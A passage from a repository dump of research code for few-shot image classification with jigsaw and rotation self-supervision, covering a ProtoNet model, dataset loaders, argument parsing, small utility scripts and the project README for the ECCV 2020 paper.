pretrain=False):\n super(ProtoNet, self).__init__(model_func, n_way, n_support, use_bn, pretrain, tracking=tracking)\n self.loss_fn = nn.CrossEntropyLoss()\n\n self.jigsaw = jigsaw\n self.rotation = rotation\n self.lbda = lbda\n self.global_count = 0\n if self.jigsaw:\n self.fc6 = nn.Sequential()\n self.fc6.add_module('fc6_s1',nn.Linear(512, 512))#for resnet\n self.fc6.add_module('relu6_s1',nn.ReLU(inplace=True))\n self.fc6.add_module('drop6_s1',nn.Dropout(p=0.5))\n\n self.fc7 = nn.Sequential()\n self.fc7.add_module('fc7',nn.Linear(9*512,4096))#for resnet\n self.fc7.add_module('relu7',nn.ReLU(inplace=True))\n self.fc7.add_module('drop7',nn.Dropout(p=0.5))\n\n self.classifier = nn.Sequential()\n self.classifier.add_module('fc8',nn.Linear(4096, 35))\n if self.rotation:\n self.fc6 = nn.Sequential()\n self.fc6.add_module('fc6_s1',nn.Linear(512, 512))#for resnet\n self.fc6.add_module('relu6_s1',nn.ReLU(inplace=True))\n self.fc6.add_module('drop6_s1',nn.Dropout(p=0.5))\n\n self.fc7 = nn.Sequential()\n self.fc7.add_module('fc7',nn.Linear(512,128))#for resnet\n self.fc7.add_module('relu7',nn.ReLU(inplace=True))\n self.fc7.add_module('drop7',nn.Dropout(p=0.5))\n\n self.classifier_rotation = nn.Sequential()\n self.classifier_rotation.add_module('fc8',nn.Linear(128, 4))\n\n\n def train_loop(self, epoch, train_loader, optimizer, writer, base_loader_u=None):\n print_freq = 10\n avg_loss=0\n avg_loss_proto=0\n avg_loss_jigsaw=0\n avg_loss_rotation=0\n\n self.global_count = epoch * len(train_loader)\n \n if base_loader_u is not None:\n\n for i,inputs in enumerate(zip(train_loader,cycle(base_loader_u))):\n self.global_count += 1\n x = inputs[0][0]\n self.n_query = x.size(1) - self.n_support\n if self.change_way:\n self.n_way = x.size(0)\n optimizer.zero_grad()\n loss_proto, acc = self.set_forward_loss(x)\n if self.jigsaw:\n loss_jigsaw, acc_jigsaw = self.set_forward_loss_unlabel(inputs[1][2], inputs[1][3])# torch.Size([5, 21, 9, 3, 75, 75]), torch.Size([5, 21])\n loss = (1.0-self.lbda) * loss_proto + self.lbda * loss_jigsaw\n wandb.log({'train/loss_proto': float(loss_proto.data.item())}, step=self.global_count)\n wandb.log({'train/loss_jigsaw': float(loss_jigsaw.data.item())}, step=self.global_count)\n\n elif self.rotation:\n loss_rotation, acc_rotation = self.set_forward_loss_unlabel(inputs[1][2], inputs[1][3])# torch.Size([5, 21, 9, 3, 75, 75]), torch.Size([5, 21])\n loss = (1.0-self.lbda) * loss_proto + self.lbda * loss_rotation\n wandb.log({'train/loss_proto': float(loss_proto.data.item())}, step=self.global_count)\n wandb.log({'train/loss_rotation': float(loss_rotation.data.item())}, step=self.global_count)\n\n else:\n loss = loss_proto\n loss.backward()\n optimizer.step()\n avg_loss = avg_loss+loss.data\n wandb.log({'train/loss': float(loss.data.item())}, step=self.global_count)\n\n if self.jigsaw:\n avg_loss_proto += loss_proto.data\n avg_loss_jigsaw += loss_jigsaw.data\n wandb.log({'train/acc_proto': acc}, step=self.global_count)\n wandb.log({'train/acc_jigsaw': acc_jigsaw}, step=self.global_count)\n elif self.rotation:\n avg_loss_proto += loss_proto.data\n avg_loss_rotation += loss_rotation.data\n wandb.log({'train/acc_proto': acc}, step=self.global_count)\n wandb.log({'train/acc_rotation': acc_rotation}, step=self.global_count)\n if (i+1) % print_freq==0:\n if self.jigsaw:\n print('Epoch {:d} | Batch {:d}/{:d} | Loss {:f} | Loss Proto {:f} | Loss Jigsaw {:f}'.\\\n format(epoch, i+1, len(train_loader), avg_loss/float(i+1), avg_loss_proto/float(i+1), avg_loss_jigsaw/float(i+1)))\n elif self.rotation:\n print('Epoch {:d} | Batch {:d}/{:d} | Loss {:f} | Loss Proto {:f} | Loss Rotation {:f}'.\\\n format(epoch, i+1, len(train_loader), avg_loss/float(i+1), avg_loss_proto/float(i+1), avg_loss_rotation/float(i+1)))\n else:\n print('Epoch {:d} | Batch {:d}/{:d} | Loss {:f}'.format(epoch, i+1, len(train_loader), avg_loss/float(i+1)))\n else:\n for i, inputs in enumerate(train_loader):\n self.global_count += 1\n x = inputs[0]\n self.n_query = x.size(1) - self.n_support\n if self.change_way:\n self.n_way = x.size(0)\n optimizer.zero_grad()\n loss_proto, acc = self.set_forward_loss(x)\n if self.jigsaw:\n loss_jigsaw, acc_jigsaw = self.set_forward_loss_unlabel(inputs[2], inputs[3])# torch.Size([5, 21, 9, 3, 75, 75]), torch.Size([5, 21])\n loss = (1.0-self.lbda) * loss_proto + self.lbda * loss_jigsaw\n wandb.log({'train/loss_proto': float(loss_proto.data.item())}, step=self.global_count)\n wandb.log({'train/loss_jigsaw': float(loss_jigsaw.data.item())}, step=self.global_count)\n elif self.rotation:\n loss_rotation, acc_rotation = self.set_forward_loss_unlabel(inputs[2], inputs[3])# torch.Size([5, 21, 9, 3, 75, 75]), torch.Size([5, 21])\n loss = (1.0-self.lbda) * loss_proto + self.lbda * loss_rotation\n wandb.log({'train/loss_proto': float(loss_proto.data.item())}, step=self.global_count)\n wandb.log({'train/loss_rotation': float(loss_rotation.data.item())}, step=self.global_count)\n else:\n loss = loss_proto\n loss.backward()\n optimizer.step()\n avg_loss = avg_loss+loss.item()\n wandb.log({'train/loss': float(loss.data.item())}, step=self.global_count)\n\n if self.jigsaw:\n avg_loss_proto += loss_proto.data\n avg_loss_jigsaw += loss_jigsaw.data\n wandb.log({'train/acc_proto': acc}, step=self.global_count)\n wandb.log({'train/acc_jigsaw': acc_jigsaw}, step=self.global_count)\n elif self.rotation:\n avg_loss_proto += loss_proto.data\n avg_loss_rotation += loss_rotation.data\n wandb.log({'train/acc_proto': acc}, step=self.global_count)\n wandb.log({'train/acc_rotation': acc_rotation}, step=self.global_count)\n\n if (i+1) % print_freq==0:\n #print(optimizer.state_dict()['param_groups'][0]['lr'])\n if self.jigsaw:\n print('Epoch {:d} | Batch {:d}/{:d} | Loss {:f} | Loss Proto {:f} | Loss Jigsaw {:f}'.\\\n format(epoch, i+1, len(train_loader), avg_loss/float(i+1), avg_loss_proto/float(i+1), avg_loss_jigsaw/float(i+1)))\n elif self.rotation:\n print('Epoch {:d} | Batch {:d}/{:d} | Loss {:f} | Loss Proto {:f} | Loss Rotation {:f}'.\\\n format(epoch, i+1, len(train_loader), avg_loss/float(i+1), avg_loss_proto/float(i+1), avg_loss_rotation/float(i+1)))\n else:\n print('Epoch {:d} | Batch {:d}/{:d} | Loss {:f}'.format(epoch, i+1, len(train_loader), avg_loss/float(i+1)))\n\n def test_loop(self, test_loader, record = None):\n correct =0\n count = 0\n acc_all = []\n acc_all_jigsaw = []\n acc_all_rotation = []\n\n iter_num = len(test_loader)\n for i, inputs in enumerate(test_loader):\n x = inputs[0]\n self.n_query = x.size(1) - self.n_support\n if self.change_way:\n self.n_way = x.size(0)\n\n if self.jigsaw:\n correct_this, correct_this_jigsaw, count_this, count_this_jigsaw = self.correct(x, inputs[2], inputs[3])\n elif self.rotation:\n correct_this, correct_this_rotation, count_this, count_this_rotation = self.correct(x, inputs[2], inputs[3])\n else:\n correct_this, count_this = self.correct(x)\n acc_all.append(correct_this/ count_this*100)\n if self.jigsaw:\n acc_all_jigsaw.append(correct_this_jigsaw/ count_this_jigsaw*100)\n elif self.rotation:\n acc_all_rotation.append(correct_this_rotation/ count_this_rotation*100)\n\n acc_all = np.asarray(acc_all)\n acc_mean = np.mean(acc_all)\n acc_std = np.std(acc_all)\n print('%d Test Protonet Acc = %4.2f%% +- %4.2f%%' %(iter_num, acc_mean, 1.96* acc_std/np.sqrt(iter_num)))\n if self.jigsaw:\n acc_all_jigsaw = np.asarray(acc_all_jigsaw)\n acc_mean_jigsaw = np.mean(acc_all_jigsaw)\n acc_std_jigsaw = np.std(acc_all_jigsaw)\n print('%d Test Jigsaw Acc = %4.2f%% +- %4.2f%%' %(iter_num, acc_mean_jigsaw, 1.96* acc_std_jigsaw/np.sqrt(iter_num)))\n return acc_mean, acc_mean_jigsaw\n elif self.rotation:\n acc_all_rotation = np.asarray(acc_all_rotation)\n acc_mean_rotation = np.mean(acc_all_rotation)\n acc_std_rotation = np.std(acc_all_rotation)\n print('%d Test Rotation Acc = %4.2f%% +- %4.2f%%' %(iter_num, acc_mean_rotation, 1.96* acc_std_rotation/np.sqrt(iter_num)))\n return acc_mean, acc_mean_rotation\n else:\n return acc_mean\n\n def correct(self, x, patches=None, patches_label=None):\n scores = self.set_forward(x)\n if self.jigsaw:\n x_, y_ = self.set_forward_unlabel(patches=patches,patches_label=patches_label)\n elif self.rotation:\n x_, y_ = self.set_forward_unlabel(patches=patches,patches_label=patches_label)\n y_query = np.repeat(range( self.n_way ), self.n_query )\n\n topk_scores, topk_labels = scores.data.topk(1, 1, True, True)\n topk_ind = topk_labels.cpu().numpy()\n top1_correct = np.sum(topk_ind[:,0] == y_query)\n\n if self.jigsaw:\n pred = torch.max(x_,1)\n top1_correct_jigsaw = torch.sum(pred[1] == y_)\n return float(top1_correct), float(top1_correct_jigsaw), len(y_query), len(y_)\n elif self.rotation:\n pred = torch.max(x_,1)\n top1_correct_rotation = torch.sum(pred[1] == y_)\n return float(top1_correct), float(top1_correct_rotation), len(y_query), len(y_)\n else:\n return float(top1_correct), len(y_query)\n\n def set_forward(self,x,is_feature = False):\n z_support, z_query = self.parse_feature(x,is_feature)\n\n z_support = z_support.contiguous()\n z_proto = z_support.view(self.n_way, self.n_support, -1 ).mean(1) #the shape of z is [n_data, n_dim]\n z_query = z_query.contiguous().view(self.n_way* self.n_query, -1 )\n\n dists = euclidean_dist(z_query, z_proto)\n scores = -dists\n return scores\n\n def set_forward_unlabel(self, patches=None, patches_label=None):\n if len(patches.size()) == 6:\n Way,S,T,C,H,W = patches.size()#torch.Size([5, 15, 9, 3, 75, 75])\n B = Way*S\n elif len(patches.size()) == 5:\n B,T,C,H,W = patches.size()#torch.Size([5, 15, 9, 3, 75, 75])\n if self.jigsaw:\n patches = patches.view(B*T,C,H,W).cuda()#torch.Size([675, 3, 64, 64])\n if self.dual_cbam:\n patch_feat = self.feature(patches, jigsaw=True)#torch.Size([675, 512])\n else:\n patch_feat = self.feature(patches)#torch.Size([675, 512])\n\n x_ = patch_feat.view(B,T,-1)\n x_ = x_.transpose(0,1)#torch.Size([9, 75, 512])\n\n x_list = []\n for i in range(9):\n z = self.fc6(x_[i])#torch.Size([75, 512])\n z = z.view([B,1,-1])#torch.Size([75, 1, 512])\n x_list.append(z)\n\n x_ = torch.cat(x_list,1)#torch.Size([75, 9, 512])\n x_ = self.fc7(x_.view(B,-1))#torch.Size([75, 9*512])\n x_ = self.classifier(x_)\n\n y_ = patches_label.view(-1).cuda()\n\n return x_, y_\n elif self.rotation:\n patches = patches.view(B*T,C,H,W).cuda()\n x_ = self.feature(patches)#torch.Size([64, 512, 1, 1])\n x_ = x_.squeeze()\n x_ = self.fc6(x_)\n x_ = self.fc7(x_)#64,128\n x_ = self.classifier_rotation(x_)#64,4\n pred = torch.max(x_,1)\n y_ = patches_label.view(-1).cuda()\n return x_, y_\n\n\n def set_forward_loss(self, x):\n y_query = torch.from_numpy(np.repeat(range( self.n_way ), self.n_query ))\n scores = self.set_forward(x)\n\n topk_scores, topk_labels = scores.data.topk(1, 1, True, True)\n topk_ind = topk_labels.cpu().numpy()\n acc = np.sum(topk_ind[:,0] == y_query.numpy())/len(y_query.numpy())\n y_query = Variable(y_query.cuda())\n\n return self.loss_fn(scores, y_query), acc\n\n def set_forward_loss_unlabel(self, patches=None, patches_label=None):\n if self.jigsaw:\n x_, y_ = self.set_forward_unlabel(patches=patches,patches_label=patches_label)\n pred = torch.max(x_,1)\n acc_jigsaw = torch.sum(pred[1] == y_).cpu().numpy()*1.0/len(y_)\n elif self.rotation:\n x_, y_ = self.set_forward_unlabel(patches=patches,patches_label=patches_label)\n pred = torch.max(x_,1)\n acc_rotation = torch.sum(pred[1] == y_).cpu().numpy()*1.0/len(y_)\n\n if self.jigsaw:\n return self.loss_fn(x_,y_), acc_jigsaw\n elif self.rotation:\n return self.loss_fn(x_,y_), acc_rotation\n\n\n def parse_feature(self,x,is_feature):\n x = Variable(x.cuda())\n if is_feature:\n z_all = x\n else:\n x = x.contiguous().view( self.n_way * (self.n_support + self.n_query), *x.size()[2:])\n z_all = self.feature(x)\n z_all = z_all.view( self.n_way, self.n_support + self.n_query, -1)\n z_support = z_all[:, :self.n_support]\n z_query = z_all[:, self.n_support:]\n\n return z_support, z_query\n\n\n\ndef euclidean_dist( x, y):\n # x: N x D\n # y: M x D\n n = x.size(0)\n m = y.size(0)\n d = x.size(1)\n assert d == y.size(1)\n\n x = x.unsqueeze(1).expand(n, m, d)\n y = y.unsqueeze(0).expand(n, m, d)\n\n return torch.pow(x - y, 2).sum(2)\n" }, { "alpha_fraction": 0.7267759442329407, "alphanum_fraction": 0.7267759442329407, "avg_line_length": 29.58333396911621, "blob_id": "4a698999e1bef3661e843564332011a20a42ed70", "content_id": "90c5f1ea308805c34a6b9d40b11ceed5a1db498b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 366, "license_type": "no_license", "max_line_length": 99, "num_lines": 12, "path": "/merge.py", "repo_name": "ashok-arjun/fsl_ssl", "src_encoding": "UTF-8", "text": "import os\nimport shutil\n\nsubfolders = os.listdir(\"miniImageNet/images\")\n\nprint(subfolders)\n\nfor folder in subfolders:\n files = os.listdir(os.path.join(\"miniImageNet/images\", folder))\n for file in files:\n shutil.move(os.path.join(\"miniImageNet/images/\"+folder, file), \"miniImageNet/images/\"+file)\n os.rmdir(os.path.join(\"miniImageNet/images\", folder))" }, { "alpha_fraction": 0.7160493731498718, "alphanum_fraction": 0.7530864477157593, "avg_line_length": 29.5, "blob_id": "74a397f6cfd224a2a69c43d5cfae07a441bb19b2", "content_id": "e59211b61d7e8450cc79423ce22b708f1cad9d96", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 243, "license_type": "no_license", "max_line_length": 75, "num_lines": 8, "path": "/wandb_restore.py", "repo_name": "ashok-arjun/fsl_ssl", "src_encoding": "UTF-8", "text": "# This script will ask for a wandb run ID and restore path\nimport wandb\n\nRUN_ID = \"27wluxlz\"\nPATH = \"ckpts/dogs/_resnet18_baseline_aug_tracking_lr0.0010/last_model.tar\"\n\nwandb.init(id=RUN_ID, project=\"fsl_ssl\", resume=True)\nwandb.restore(PATH)" }, { "alpha_fraction": 0.6412054300308228, "alphanum_fraction": 0.6567208766937256, "avg_line_length": 71.07527160644531, "blob_id": "701b07a5424c747775de54205910e3f323b3d033", "content_id": "66a8fd67740d5f2cb61a1bdc984ee5181b14cbd5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6703, "license_type": "no_license", "max_line_length": 297, "num_lines": 93, "path": "/.ipynb_checkpoints/io_utils-checkpoint.py", "repo_name": "ashok-arjun/fsl_ssl", "src_encoding": "UTF-8", "text": "import numpy as np\nimport os\nimport glob\nimport argparse\nimport backbone\nfrom model_resnet import *\n\nmodel_dict = dict(\n Conv4 = backbone.Conv4,\n Conv4S = backbone.Conv4S,\n Conv6 = backbone.Conv6,\n ResNet10 = backbone.ResNet10,\n ResNet18 = backbone.ResNet18,\n ResNet34 = backbone.ResNet34,\n ResNet50 = backbone.ResNet50,\n ResNet101 = backbone.ResNet101,\n resnet18 = 'resnet18',\n resnet18_pytorch = 'resnet18_pytorch',\n resnet50_pytorch = 'resnet50_pytorch'\n ) \n\ndef parse_args(script):\n parser = argparse.ArgumentParser(description= 'few-shot script %s' %(script))\n parser.add_argument('--dataset' , default='miniImagenet', help='CUB/cars/flowers/dogs/aircrafts/miniImagenet/tieredImagenet')\n parser.add_argument('--model' , default='resnet18', help='model: Conv{4|6} / ResNet{10|18|34|50|101}') # 50 and 101 are not used in the paper\n parser.add_argument('--method' , default='protonet', help='baseline/baseline++/protonet/matchingnet/relationnet{_softmax}/maml{_approx}') #relationnet_softmax replace L2 norm with softmax to expedite training, maml_approx use first-order approximation in the gradient for efficiency\n parser.add_argument('--train_n_way' , default=5, type=int, help='class num to classify for training') #baseline and baseline++ would ignore this parameter\n parser.add_argument('--test_n_way' , default=5, type=int, help='class num to classify for testing (validation) ') #baseline and baseline++ only use this parameter in finetuning\n parser.add_argument('--n_shot' , default=5, type=int, help='number of labeled data in each class, same as n_support') #baseline and baseline++ only use this parameter in finetuning\n parser.add_argument('--train_aug' , action='store_true', help='perform data augmentation or not during training ') #still required for save_features.py and test.py to find the model path correctly\n parser.add_argument('--jigsaw' , action='store_true', help='multi-task training')\n parser.add_argument('--lbda' , default=0.5, type=float, help='lambda for the jigsaw loss, (1-lambda) for proto loss')\n parser.add_argument('--lr' , default=0.001, type=float,help='learning rate')\n parser.add_argument('--optimization', default='Adam', type=str, help='Adam or SGD')\n parser.add_argument('--loadfile' , default='', type=str, help='load pre-trained model')\n parser.add_argument('--finetune' , action='store_true', help='finetuning from jigsaw to protonet')\n parser.add_argument('--random' , action='store_true', help='random init net')\n parser.add_argument('--n_query' , default=16, type=int, help='number of query, 16 is used in the paper')\n parser.add_argument('--image_size' , default=224, type=int, help='224 is used in the paper')\n parser.add_argument('--date' , default='', type=str, help='date of the exp')\n parser.add_argument('--rotation' , action='store_true', help='multi-task training')\n parser.add_argument('--tracking' , action='store_true', default=True, help='tracking batchnorm stats')\n parser.add_argument('--split' , default='novel', help='base/val/novel') #default novel, but you can also test base/val class accuracy if you want \n parser.add_argument('--save_iter' , default=-1, type=int, help='saved feature from the model trained in x epoch, use the best model if x is -1')\n parser.add_argument('--adaptation' , action='store_true', help='further adaptation in test time or not')\n\n parser.add_argument('--bs' , default=16, type=int, help='batch size used for unlabeled dataset, also when method==baseline')\n parser.add_argument('--no_bn' , action='store_true', help='not using batch norm if True')\n parser.add_argument('--pretrain' , action='store_true', help='use imagenet pre-train model')\n parser.add_argument('--grey' , action='store_true', help='use grey iamge')\n parser.add_argument('--test_bs' , default=64, type=int, help='batch size for testing w/o batchnorm')\n parser.add_argument('--dataset_unlabel', default=None, help='CUB/cars/flowers/dogs/aircrafts/miniImagenet/tieredImagenet')\n \n parser.add_argument('--base' , default='base', help='name of the json file of the base set')\n parser.add_argument('--base_unlabel' , default='base', help='name of the json file of the base set for unlabeled dataset dataloader')\n # parser.add_argument(\"--device_ids\", nargs=\"+\", required=True, type=int) # [0] can be set as default\n\n if script == 'train':\n parser.add_argument('--num_classes' , default=200, type=int,help='total number of classes in softmax, only used in baseline') #make it larger than the maximum label value in base class\n parser.add_argument('--save_freq' , default=10, type=int,help='Save frequency')\n parser.add_argument('--start_epoch' , default=0, type=int, help='Starting epoch')\n parser.add_argument('--stop_epoch' , default=600, type=int,help='Stopping epoch') # for meta-learning methods, each epoch contains 100 episodes\n parser.add_argument('--resume' , action='store_true', help='continue from previous trained model with largest epoch')\n parser.add_argument('--resume_wandb_id' , default=None, help='wandb ID')\n parser.add_argument('--warmup' , action='store_true', help='continue from baseline, neglected if resume is true') #never used in the paper\n parser.add_argument('--device' , default=\"0\", type=str, help='GPU id')\n\n parser.add_argument('--layer', default=-1, type=int)\n \n\n return parser.parse_args()\n\ndef get_assigned_file(checkpoint_dir,num):\n assign_file = os.path.join(checkpoint_dir, '{:d}.tar'.format(num))\n return assign_file\n\ndef get_resume_file(checkpoint_dir):\n filelist = glob.glob(os.path.join(checkpoint_dir, '*.tar'))\n if len(filelist) == 0:\n return None\n\n filelist = [ x for x in filelist if os.path.basename(x) != 'best_model.tar' ]\n epochs = np.array([int(os.path.splitext(os.path.basename(x))[0]) for x in filelist])\n max_epoch = np.max(epochs)\n resume_file = os.path.join(checkpoint_dir, '{:d}.tar'.format(max_epoch))\n return resume_file\n\ndef get_best_file(checkpoint_dir): \n best_file = os.path.join(checkpoint_dir, 'best_model.tar')\n if os.path.isfile(best_file):\n return best_file\n else:\n return get_resume_file(checkpoint_dir)\n" }, { "alpha_fraction": 0.5696873068809509, "alphanum_fraction": 0.5790938138961792, "avg_line_length": 36.18226623535156, "blob_id": "eb1f127f5cb16f89309a9343352212e45b6907ee", "content_id": "b188ced497a76f31435bf32705e93d160d2bbec8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7548, "license_type": "no_license", "max_line_length": 129, "num_lines": 203, "path": "/data/dataset_unlabel.py", "repo_name": "ashok-arjun/fsl_ssl", "src_encoding": "UTF-8", "text": "# This code is modified from https://github.com/facebookresearch/low-shot-shrink-hallucinate\n\nimport torch\nfrom PIL import Image\nimport json\nimport numpy as np\nimport torchvision.transforms as transforms\nimport os\nidentity = lambda x:x\nimport math\n\ndef get_patches(img, transform_jigsaw, transform_patch_jigsaw, permutations):\n if np.random.rand() < 0.30:\n img = img.convert('LA').convert('RGB')## this should be L instead....... need to change that!!\n\n img = transform_jigsaw(img)\n\n s = float(img.size[0]) / 3\n a = s / 2\n tiles = [None] * 9\n for n in range(9):\n i = int(n / 3)\n j = n % 3\n c = [a * i * 2 + a, a * j * 2 + a]\n c = np.array([math.ceil(c[1] - a), math.ceil(c[0] - a), int(c[1] + a ), int(c[0] + a )]).astype(int)\n tile = img.crop(c.tolist())\n tile = transform_patch_jigsaw(tile)\n # Normalize the patches indipendently to avoid low level features shortcut\n m, s = tile.view(3, -1).mean(dim=1).numpy(), tile.view(3, -1).std(dim=1).numpy()\n s[s == 0] = 1\n norm = transforms.Normalize(mean=m.tolist(), std=s.tolist())\n tile = norm(tile)\n tiles[n] = tile\n \n order = np.random.randint(len(permutations))\n data = [tiles[permutations[order][t]] for t in range(9)]\n data = torch.stack(data, 0)\n\n return data, int(order)\n\ndef retrive_permutations(classes):\n all_perm = np.load('permutations_%d.npy' % (classes))\n if all_perm.min() == 1:\n all_perm = all_perm - 1\n\n return all_perm\n\nclass SimpleDataset:\n def __init__(self, data_file, transform, target_transform=identity, \\\n jigsaw=False, transform_jigsaw=None, transform_patch_jigsaw=None, rotation=False, isAircraft=False, grey=False):\n with open(data_file, 'r') as f:\n self.meta = json.load(f)\n self.transform = transform\n self.target_transform = target_transform\n\n self.jigsaw = jigsaw\n self.transform_jigsaw = transform_jigsaw\n self.transform_patch_jigsaw = transform_patch_jigsaw\n self.permutations = retrive_permutations(35)\n\n self.rotation = rotation\n self.isAircraft = isAircraft\n self.grey = grey\n\n def __getitem__(self,i):\n image_path = os.path.join(self.meta['image_names'][i])\n if self.grey:\n img = Image.open(image_path).convert('L').convert('RGB')\n else:\n img = Image.open(image_path).convert('RGB')\n \n if self.isAircraft:\n ## crop the banner\n img = img.crop((0,0,img.size[0],img.size[1]-20))\n \n if self.jigsaw:\n patches, order = get_patches(img, self.transform_jigsaw, self.transform_patch_jigsaw, self.permutations)\n if self.rotation:\n rotated_imgs = [\n self.transform(img),\n self.transform(img.rotate(90,expand=True)),\n self.transform(img.rotate(180,expand=True)),\n self.transform(img.rotate(270,expand=True))\n ]\n rotation_labels = torch.LongTensor([0, 1, 2, 3])\n \n img = self.transform(img)\n target = self.target_transform(self.meta['image_labels'][i])\n if self.jigsaw:\n return patches, order\n elif self.rotation:\n return torch.stack(rotated_imgs, dim=0), rotation_labels\n else:\n return img, target\n\n def __len__(self):\n return len(self.meta['image_names'])\n\n\nclass SetDataset:\n def __init__(self, data_file, batch_size, transform, jigsaw=False, \\\n transform_jigsaw=None, transform_patch_jigsaw=None, rotation=False, isAircraft=False, grey=False):\n self.jigsaw = jigsaw\n self.transform_jigsaw = transform_jigsaw\n self.transform_patch_jigsaw = transform_patch_jigsaw\n self.rotation = rotation\n self.isAircraft = isAircraft\n self.grey = grey\n\n with open(data_file, 'r') as f:\n self.meta = json.load(f)\n \n self.cl_list = np.unique(self.meta['image_labels']).tolist()\n\n self.sub_meta = {}\n for cl in self.cl_list:\n self.sub_meta[cl] = []\n\n for x,y in zip(self.meta['image_names'],self.meta['image_labels']):\n self.sub_meta[y].append(x)\n\n self.sub_dataloader = [] \n sub_data_loader_params = dict(batch_size = batch_size,\n shuffle = True,\n num_workers = 0, #use main thread only or may receive multiple batches\n pin_memory = False) \n for cl in self.cl_list:\n sub_dataset = SubDataset(self.sub_meta[cl], cl, transform = transform, jigsaw=self.jigsaw, \\\n transform_jigsaw=self.transform_jigsaw, transform_patch_jigsaw=self.transform_patch_jigsaw, \\\n rotation=self.rotation, isAircraft=self.isAircraft, grey=self.grey)\n self.sub_dataloader.append( torch.utils.data.DataLoader(sub_dataset, **sub_data_loader_params) )\n\n def __getitem__(self,i):\n return next(iter(self.sub_dataloader[i]))\n\n def __len__(self):\n return len(self.cl_list)\n\nclass SubDataset:\n def __init__(self, sub_meta, cl, transform=transforms.ToTensor(), target_transform=identity, \\\n jigsaw=False, transform_jigsaw=None, transform_patch_jigsaw=None, rotation=False, isAircraft=False, grey=False):\n self.sub_meta = sub_meta\n self.cl = cl \n self.transform = transform\n self.target_transform = target_transform\n\n self.rotation = rotation\n self.isAircraft = isAircraft\n self.grey = grey\n\n self.jigsaw = jigsaw\n if jigsaw:\n self.permutations = retrive_permutations(35)\n self.transform_jigsaw = transform_jigsaw\n self.transform_patch_jigsaw = transform_patch_jigsaw\n\n def __getitem__(self,i):\n image_path = os.path.join(self.sub_meta[i])\n if self.grey:\n img = Image.open(image_path).convert('L').convert('RGB')\n else:\n img = Image.open(image_path).convert('RGB')\n\n if self.isAircraft:\n ## crop the banner\n img = img.crop((0,0,img.size[0],img.size[1]-20))\n\n if self.jigsaw:\n patches, order = get_patches(img, self.transform_jigsaw, self.transform_patch_jigsaw, self.permutations)\n if self.rotation:\n rotated_imgs = [\n self.transform(img),\n self.transform(img.rotate(90,expand=True)),\n self.transform(img.rotate(180,expand=True)),\n self.transform(img.rotate(270,expand=True))\n ]\n rotation_labels = torch.LongTensor([0, 1, 2, 3])\n img = self.transform(img)\n target = self.target_transform(self.cl)\n \n if self.jigsaw:\n return img, target, patches, order\n elif self.rotation:\n return img, target, torch.stack(rotated_imgs, dim=0), rotation_labels\n else:\n return img, target\n\n def __len__(self):\n return len(self.sub_meta)\n\n\nclass EpisodicBatchSampler(object):\n def __init__(self, n_classes, n_way, n_episodes):\n self.n_classes = n_classes\n self.n_way = n_way\n self.n_episodes = n_episodes\n\n def __len__(self):\n return self.n_episodes\n\n def __iter__(self):\n for i in range(self.n_episodes):\n yield torch.randperm(self.n_classes)[:self.n_way]\n" }, { "alpha_fraction": 0.6983960866928101, "alphanum_fraction": 0.7273361086845398, "avg_line_length": 48.44827651977539, "blob_id": "26af496e1f4040a5beb07cb14fc2d51154e60176", "content_id": "30c43f79e92a434e65419ffb1f82d1f937e665f1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 2868, "license_type": "no_license", "max_line_length": 450, "num_lines": 58, "path": "/.ipynb_checkpoints/README-checkpoint.md", "repo_name": "ashok-arjun/fsl_ssl", "src_encoding": "UTF-8", "text": "# When Does Self-supervision Improve Few-shot Learning?\n\nThis repo contains the source code of the paper:\n\n\"[When Does Self-supervision Improve Few-shot Learning?](https://arxiv.org/abs/1910.03560)\", \nJong-Chyi Su, Subhransu Maji, Bharath Hariharan, ECCV, 2020. <br>\n\n[Project page](https://people.cs.umass.edu/~jcsu/papers/fsl_ssl/), [arXiv](https://arxiv.org/abs/1910.03560), [slides](http://supermoe.cs.umass.edu/fsl_ssl/long_video_slides.pdf)\n\n![Combining supervised and self-supervised losses for few-shot learning](figs/overview5.png)\n\nThe code is based on [the repo](https://github.com/wyharveychen/CloserLookFewShot) of \"A Closer Look at Few-shot Classification\", ICLR, 2019.\n\n## Citation\n```\n@inproceedings{Su2020When,\n\ttitle = {When Does Self-supervision Improve Few-shot Learning?},\n\tauthor = {Jong-Chyi Su and Subhransu Maji and Bharath Hariharan},\n\tyear = {2020},\n\tbooktitle = {ECCV}\n}\n```\n\n## Enviroment\n - Python3\n - PyTorch (tested on > 1.0.0)\n\n## Getting started\n### Prepare datasets\n* Please download images of [Caltech-UCSD birds](http://www.vision.caltech.edu/visipedia/CUB-200-2011.html), [Stanford cars](https://ai.stanford.edu/~jkrause/cars/car_dataset.html), [fgvc-aircraft](http://www.robots.ox.ac.uk/~vgg/data/fgvc-aircraft/), [Stanford dogs](http://vision.stanford.edu/aditya86/ImageNetDogs/), and [Oxford flowers](https://www.robots.ox.ac.uk/~vgg/data/flowers/102/index.html), and put them under `filelists/${dset}/images`.\n\n### Download mini- and tiered-ImageNet\n* Change directory to `filelists/miniImagenet`\n* run `source download_miniImagenet.sh` \n\n(WARNING: This would download the 155G ImageNet dataset. You can comment out correponded line 5-6 in `download_miniImagenet.sh` if you already have one.) \n\n### Base/Val/Novel splits\n* Require three data split json file: 'base.json', 'val.json', 'novel.json' for each dataset.\n* Splits are included in this repo. \n\n\n## Training (including test after training is done)\nFor baseline, run ```python train.py --dataset CUB --train_aug```\n\nFor jigsaw, run ```python train.py --dataset CUB --train_aug --jigsaw```\n\nFor rotation, run ```python train.py --dataset CUB --train_aug --rotation```\n\nTo use a separate unlabeled dataset for SSL, first make a json file for the unlabeled dataset (see original [repo](https://github.com/wyharveychen/CloserLookFewShot) for details).\nNext, set `--dataset_unlabel` and `--base_unlabel` to the name of the json file. For example, to use 20% CUB dataset for supervised training (`CUB/base_20.json`) and 100% CUB for SSL (jigsaw) (`CUB/base.json`), run\n\n```python train_separate.py --dataset CUB --dataset_unlabel CUB --base base_20 --base_unlabel base --jigsaw --lbda 0.5 --lr 0.001 --train_aug --n_query 5 --stop_epoch 600 --bs 64```\n\nNote: For Mini-ImageNet and Tiered-Imagenet, please train the model for 600 epochs. For other datasets, 400 epochs are enough.\n\n## Author\nJong-Chyi Su (UMass Amherst) `[email 